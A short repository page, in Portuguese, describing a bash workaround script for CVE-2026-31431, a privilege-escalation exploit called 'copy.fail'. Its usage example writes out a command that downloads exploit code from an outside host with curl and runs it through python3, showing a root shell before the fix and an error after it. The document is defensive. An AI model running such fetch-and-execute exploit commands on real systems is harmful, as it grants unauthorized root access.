somecorp/copyfail-cve-2026-31431-workaround-bashFornece um script de contorno em bash para mitigar a CVE-2026-31431, prevenindo a execução remota de código por meio do exploit copy.fail. Inclui instruções de uso para aplicar a correção.
copyFail-CVE-2026-31431-workaround-bash
alguns usos:
user@host:~$ python3 -c "$(curl -s https://copy.fail/exp -o-)"
# id
uid=0(root) gid=1000(user)
# ctrl+d
user@host:~$ git clone https://github.com/someCorp/copyFail-CVE-2026-31431-workaround-bash
user@host:~$ sudo bash copyFail-CVE-2026-31431-workaround-bash/qdf.sh
user@host:~$ python3 -c "$(curl -s https://copy.fail/exp -o-)"
Traceback (most recent call last):
File "<string>", line 9, in <module>
File "<string>", line 5, in c
FileNotFoundError: [Errno 2] No such file or directory